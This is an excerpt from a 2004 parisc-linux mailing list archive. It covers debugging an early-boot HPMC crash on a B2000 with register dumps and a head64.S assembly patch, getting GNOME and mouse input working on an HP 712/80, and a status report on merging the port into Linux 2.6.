X-List-Received-Date: Fri, 06 Feb 2004 17:28:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20799

Hi Randolph,

> did you do clearpim before the run?
Yes

> The values in the pim info don't make a lot of sense....
Not more sense with previous one I got, that's why it takes me so much time
to find  a workaround ;)

> did the box HPMC?
Yes that's what showing the small lcd on the box and seems to be confirm
by hpmc time stamp ;)

> did it hang and then you hit the TOC button?
NO. Just after the last advise of palo (... If this is the last message...)
appears very quickly the message on the lcd: hpmc init... (even if I put
printk() at the very begining of init code in main.c nothing is printed on
the serial console.

I also suspected a long time the compiler I used but recently I put this
same kernel (scp) on the N4K-550 and it boot fine (but this system has 2Gb
of ram)

And because 2.4 64bits runing fine on this system (b2k) and the pb should
be located very early at the begining of the kernel start, I had the idea
to compare head64.S and vmlinux.lds.S and find back this 2.5 patch and try
to revert it. But I very don't undurstand what happen in head64 to hope to
help more efficiently :( (sorry) 

Thanks for your attention,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 jejb
Date: Fri, 6 Feb 2004 10:50:38 -0700
Lines: 73
Approved: news@gmane.org
Message-ID: <20040206175038.GC20990@colo.lackof.org>
References: <40218AE200000F67@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623181 5469 80.91.229.3 (22 Nov 2014 02:26:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:21 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>, bame@hp.com,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Fri Feb  6 10:50:45 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id F14BA488A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 10:50:44 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 5BC66298063; Fri,  6 Feb 2004 10:50:39 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 21344-07; Fri, 6 Feb 2004 10:50:38 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AE3C4298029; Fri,  6 Feb 2004 10:50:38 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <40218AE200000F67@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Feb 2004 17:50:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20800

On Fri, Feb 06, 2004 at 08:31:47AM +0100, Joel Soete wrote:
> -----------------  Processor 0 HPMC Information ------------------
> 
> Timestamp = 
>   Fri Feb  6 07:20:26 GMT 2004    (20:04:02:06:07:20:26)
> 
> HPMC Chassis Codes = 2cbf0  2500b  2cbf5  2cbfc  
> 
> General Registers 0 - 31
> 00-03   0000000000000000  000000001043e000  00000000000600d0  fffffff0f0000018

What does 00000000000600d0 point at?
Is that the boot loader?

> IIA Space                    = 0x0000000000000000
> IIA Offset                   = 0x00000000001000e4

Is the CPU still in real mode?
ie haven't switched to virtual mode yet?

> Check Type                   = 0x20000000
> CPU State                    = 0x9e000004
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x003010bb
> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00031800
> System Responder Address     = 0xfffffffffed10200
> System Requestor Address     = 0xfffffffffffa0000

CPU is trying to get data from 0xfed10200
What lives there?

> A Data Miss Timeout occurred while CPU 0 was
> requesting information.

Some device wasn't responding.

> General Registers 0 - 31
> 00-03   0000000000000000  fffffff0f009d000  000000f0f000b618  00000000000f4240

looks like the box HPMC'd, and then TOC to recover.
I think GR02 is a firmware address.
...
> IIA Space                    = 0x00000000000000f0
> IIA Offset                   = 0x000000f0f000b620
> CPU State                    = 0x9e000001


> I/O Module Error Log Information:
> 
> Timestamp = 
>   Fri Feb  6 07:20:26 GMT 2004    (20:04:02:06:07:20:26)
> 
> 
> '9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:
> 
>  Rope     Word1        Word2            Word3
> ------ ------------ ------------
>    0    0x00000000   0x0e0cc009   0x00000000fed30048
>    1    0x00000000   0x1e0cc009   0x00000000fed32048

Note this is NOT the same address range that the CPU was
trying to talk to. And it looks like all the ropes are happy.
("cc" is the status or error word, IIRC)

If i had to guess, I would think Joel's box has a HW problem.
But I really don't know what's going on.

hth,
grant


From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 jejb
Date: Fri, 06 Feb 2004 11:06:14 -0700
Lines: 7
Approved: news@gmane.org
Message-ID: <20040206180615.922C77381D@fc.hp.com>
References: <40218AE200000F67@ocpmta2.freegates.net>
	<20040206175038.GC20990@colo.lackof.org>
Reply-To: bame@hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623181 5470 80.91.229.3 (22 Nov 2014 02:26:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: bame@hp.com  Fri Feb  6 11:06:16 2004
Return-Path: <bame@hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id D34FC484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 11:06:16 -0700 (MST)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel7.hp.com (Postfix) with ESMTP id 7B4071C02642
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 13:06:16 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 38B5A41E38A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 11:06:16 -0700 (MST)
Original-Received: from fc.hp.com (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id B52DB1340A2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 11:06:15 -0700 (MST)
Original-Received: by fc.hp.com (Postfix, from userid 16602)
	id 922C77381D; Fri,  6 Feb 2004 11:06:15 -0700 (MST)
Original-Received: from paul.bame (localhost [127.0.0.1])
	by fc.hp.com (Postfix) with ESMTP id 8E4AC62C62
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 11:06:15 -0700 (MST)
Errors-To: bame@hp.com
In-Reply-To: Message from Grant Grundler <grundler@parisc-linux.org> of "Fri,
	06 Feb 2004 10:50:38 MST." <20040206175038.GC20990@colo.lackof.org> 
Original-Sender: bame@hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Feb 2004 18:06:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20801

> 
> What does 00000000000600d0 point at?
> Is that the boot loader?

Yes, it's where the kernel would return to if it ever returned, so
probably palo's made the call to the kernel at that point.


From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jens Simmoleit" <simmel@anymotion.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Made it - Install GNOME on 712/80
Date: Fri, 6 Feb 2004 19:30:53 +0100
Lines: 69
Approved: news@gmane.org
Message-ID: <00ed01c3ecdf$5a9fa560$8100a8c0@punk>
References: <40218AE200001791@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623182 5474 80.91.229.3 (22 Nov 2014 02:26:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:22 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: simmel@anymotion.de  Fri Feb  6 11:28:29 2004
Return-Path: <simmel@anymotion.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.3d-boerse.de (port-212-202-156-103.reverse.qsc.de
	[212.202.156.103])
	by dsl2.external.hp.com (Postfix) with ESMTP id E3489488A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 11:28:28 -0700 (MST)
Original-Received: from punk [212.202.156.99] by mail.3d-boerse.de with ESMTP
	(SMTPD32-8.03) id AC9646EA0076; Fri, 06 Feb 2004 19:27:34 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Feb 2004 18:28:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20802

Hi list,

I made it, there was the package gnome-session missing (lokks like I missed
that one, oops!)
Also I made a dpkg-reconfigure setlocale to C (was with POSIX??)
then I got into the profile and added export for locale and after that I
changed the .xinitrc to gnome-session
taaaadaaaaaa, works :-) at least I can login, superb....
BTW, sawfish gnome looks nice, is there another gnome you can recommend?
Also I'd be interested if it'S possible to better the performance of my gfx
system, anybody out there with a few tricks?

I'm so happy right now.......


Greets,
Simmel


----- Original Message ----- 
From: "Joel Soete" <soete.joel@tiscali.be>
To: "Jens Simmoleit" <simmel@anymotion.de>;
<parisc-linux@lists.parisc-linux.org>
Sent: Friday, February 06, 2004 5:12 PM
Subject: RE: [parisc-linux] Additions - Install GNOME on 712/80


> Hi Jens,
>
> >1. My mouse won't work too *argh*
>
> 2. that is why you couldn't login with your user (i presume not root) :)
>
> X absolutely need a mouse pointer :(
>
> iirc you should have this entry in your XF86config-4 file:
> Section "InputDevice"
>         Identifier      "Configured Mouse"
>         Driver          "mouse"
>         Option          "CorePointer"
>         Option          "Device"                "/dev/psaux"
>         Option          "Protocol"              "PS/2"
> EndSection
>
> Check that /dev/psaux was well created, should look like:
> # ll /dev/psaux
> crw-------    1 root     root      10,   1 Mar 15  2002 /dev/psaux
>
> (if you build your own kernel check that its support is in the kernel)
>
>
>  and that gpm is not running (would not disable X to start but well
trouble
> the behaviour of cursor).
>
> Hth,
>     Joel
>
> PS: can you also mentioned which kernel are you using
>
> -------------------------------------------------------------------------
> Tiscali ADSL: 12 mois  29,50 ?/mois! L'Internet rapide, c'est pour tout
> le monde.
> http://reg.tiscali.be/default.asp?lg=fr
>
>
>



From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 jejb
Date: Fri, 6 Feb 2004 22:40:01 -0800
Lines: 74
Approved: news@gmane.org
Message-ID: <20040207064001.GU959@tausq.org>
References: <20040206191631.GQ959@tausq.org>
	<40218AE20000180F@ocpmta2.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623182 5475 80.91.229.3 (22 Nov 2014 02:26:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: randolph@tausq.org  Fri Feb  6 23:39:30 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id A100E484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 23:39:30 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B2CA1CD28A; Fri,  6 Feb 2004 22:40:01 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <40218AE20000180F@ocpmta2.freegates.net>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 07 Feb 2004 06:39:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20803

> And because 2.4 64bits runing fine on this system (b2k) and the pb should
> be located very early at the begining of the kernel start, I had the idea
> to compare head64.S and vmlinux.lds.S and find back this 2.5 patch and try
> to revert it. But I very don't undurstand what happen in head64 to hope to
> help more efficiently :( (sorry) 

Perhaps the problem is this....

in head64.S, we used to have:
        /* And the stack pointer too */
        load32          PA(init_task_union+TASK_SZ_ALGN),%sp
        [...]
        /* Save the rfi target address */
        std             %r11,  TASK_PT_GR11-TASK_SZ_ALGN(%sp)

Since the pt_regs struct used to be part of the init_task_union, we do a
store against the PA of init_task_union, and all is well.

In the new code, init_task_union is a thread_info, and in order to
store into the pt_regs we have to first dereference thread_info.task and
then store into the resulting task pointer....

        /* And the stack pointer too */
        load32          PA(init_thread_union+THREAD_SZ_ALGN),%sp
        [...]
        /* Save the rfi target address */
        ldo             -THREAD_SZ_ALGN(%sp), %r1
        ldd             TI_TASK(%r1), %r1
        std             %r11,  TASK_PT_GR11(%r1)

so now we are storing into a VA of init_thread_union.task .... oops!

So, can you try this patch?

Index: arch/parisc/kernel/head64.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head64.S,v
retrieving revision 1.3
diff -u -p -r1.3 head64.S
--- arch/parisc/kernel/head64.S	17 Jan 2004 15:00:32 -0000	1.3
+++ arch/parisc/kernel/head64.S	7 Feb 2004 06:37:57 -0000
@@ -165,9 +165,9 @@ common_stext:
 #endif /* CONFIG_SMP */
 
 	/* Save the rfi target address */
-	ldo		-THREAD_SZ_ALGN(%sp), %r1
-	ldd		TI_TASK(%r1), %r1
-	std		%r11,  TASK_PT_GR11(%r1)
+	ldd		TI_TASK-THREAD_SZ_ALGN(%sp), %r10
+	tophys_r1	%r10
+	std		%r11,  TASK_PT_GR11(%r10)
 
 #ifndef CONFIG_PDC_NARROW
 	/* Switch to wide mode; Superdome doesn't support narrow PDC
@@ -197,9 +197,9 @@ common_stext:
 
 stext_pdc_ret:
 	/* restore rfi target address*/
-	ldo		-THREAD_SZ_ALGN(%sp), %r1
-	ldd		TI_TASK(%r1), %r1
-	ldd		TASK_PT_GR11(%r1), %r11
+	ldd		TI_TASK-THREAD_SZ_ALGN(%sp), %r10
+	tophys_r1	%r10
+	ldd		TASK_PT_GR11(%r10), %r11
 
 	/* PARANOID: clear user scratch/user space SR's */
 	mtsp	%r0,%sr0

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merge status with 2.6
Date: Sat, 7 Feb 2004 17:21:08 +0000
Lines: 68
Approved: news@gmane.org
Message-ID: <20040207172108.GV24334@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623182 5481 80.91.229.3 (22 Nov 2014 02:26:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:22 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: willy@www.linux.org.uk  Sat Feb  7 10:21:10 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABD95484B
	for <parisc-linux@parisc-linux.org>;
	Sat,  7 Feb 2004 10:21:09 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1ApW8i-0004OF-BT
	for parisc-linux@parisc-linux.org; Sat, 07 Feb 2004 17:21:08 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 07 Feb 2004 17:21:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20804


I just got a significant amount of updates merged with Linus, so I
thought I'd give an update on where we're at merge-wise.  I know this
is a bit detailed, but I'd appreciate you reading it (particularly if
you commit code to our CVS) since there's some questions in here.

The total size of our diff vs 2.6.3-rc1 is 441434 bytes
( 78 files changed, 7547 insertions(+), 3413 deletions(-) )

However, 3 patches were merged after 2.6.3-rc1 was released, bringing that
down to 432775 bytes
( 74 files changed, 7502 insertions(+), 3369 deletions(-) )

Of that, 229111 bytes
( 23 files changed, 5811 insertions(+), 819 deletions(-) )
is the input layer changes for ps/2 and HIL.  I'm assuming Helge's taking
care of merging that with Vojtech (thanks a lot, Helge!)

Another 163675 bytes
( 18 files changed, 1062 insertions(+), 2468 deletions(-) )
is the scsi sym2/ncr work I've been doing in this tree.  I need to finish
that and merge it with jejb.

14231 bytes ( 8 files changed, 342 insertions(+), 7 deletions(-) ) is
Carlos' compat_signal work.  This is going upstream via akpm and should
be in 2.6.4.  Excellent work, Carlos.

After taking off the files in our tree we don't want to merge upstream
(the Makefile diff and our todo list), we're left with just 22019 bytes
of diff ( 22 files changed, 225 insertions(+), 74 deletions(-) ).

Breaking that down:
drivers/ide/pci/ns87415.c: I pinged Bart about this patch last week.
drivers/net/tg3.c: Doesn't actually affect PA-RISC; I'll try to get it
	merged with jgarzik/davem this week.
drivers/net/tulip: Some of this I'll try to get merged with jgarzik,
	other bits he wants rewritten before he'll accept.
drivers/pcmcia: I believe this is jejb's work -- Shall I send it to rmk?
drivers/serial: I don't think this can go upstream, it's part of our console
	hackery.
fs/intermezzo/dir.c: Compile fix, I resent it upstream last week; they promise
	to get it merged soon.
fs/smbfs/inode.c: Compile fix for those without uid16.  I'll try and get
	it upstream this week.
include/linux/console.h: Console hackery.
include/linux/mca.h: Need to merge it upstream.
include/linux/serial_core.h: If this is still needed, it should go upstream.
kernel/printk.c: Console hackery.
kernel/resource.c: I added this.  I'll send it to l-k for discussion.
kernel/sysctl.c: Have we really removed these sysctls or is this a merge
	artifact?
sound/oss/kahlua.c: Alan says to simply disable this driver for non-x86
	as it's used for an embedded board.

... and that's it!  I think the only thing that prevents Linus' tree from
building and working on at least a subset of configurations is the console
hackery.

We're in really good shape in 2.6, thanks to all of you.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge status with 2.6
Date: Sat, 7 Feb 2004 22:00:46 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20040207220046.GB24334@parcelfarce.linux.theplanet.co.uk>
References: <20040207172108.GV24334@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623182 5488 80.91.229.3 (22 Nov 2014 02:26:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: willy@www.linux.org.uk  Sat Feb  7 15:00:47 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 480B8484B
	for <parisc-linux@parisc-linux.org>;
	Sat,  7 Feb 2004 15:00:47 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1ApaVK-0007eg-BW; Sat, 07 Feb 2004 22:00:46 +0000
Content-Disposition: inline
In-Reply-To: <20040207172108.GV24334@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 07 Feb 2004 22:00:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20805

On Sat, Feb 07, 2004 at 05:21:08PM +0000, Matthew Wilcox wrote:
> drivers/ide/pci/ns87415.c: I pinged Bart about this patch last week.

This patch just went into Linus' tree.

> drivers/net/tg3.c: Doesn't actually affect PA-RISC; I'll try to get it
> 	merged with jgarzik/davem this week.

Merged with davem.

> drivers/net/tulip: Some of this I'll try to get merged with jgarzik,
> 	other bits he wants rewritten before he'll accept.

The majority of our diff is now merged into jgarzik's tree.

Still some other pieces to do.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge status with 2.6
Date: Sat, 7 Feb 2004 17:28:02 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20040207222802.GA23095@baldric.uwo.ca>
References: <20040207172108.GV24334@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623183 5490 80.91.229.3 (22 Nov 2014 02:26:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: carlos@baldric.uwo.ca  Sat Feb  7 15:27:34 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fep03-mail.bloor.is.net.cable.rogers.com
	(fep03-mail.bloor.is.net.cable.rogers.com [66.185.86.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73B19484B
	for <parisc-linux@parisc-linux.org>;
	Sat,  7 Feb 2004 15:27:34 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep03-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040207222725.SSNZ189272.fep03-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Sat, 7 Feb 2004 17:27:25 -0500
Content-Disposition: inline
In-Reply-To: <20040207172108.GV24334@parcelfarce.linux.theplanet.co.uk>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (71% Sync Ratio [=======...])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep03-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Sat,
	7 Feb 2004 17:27:25 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
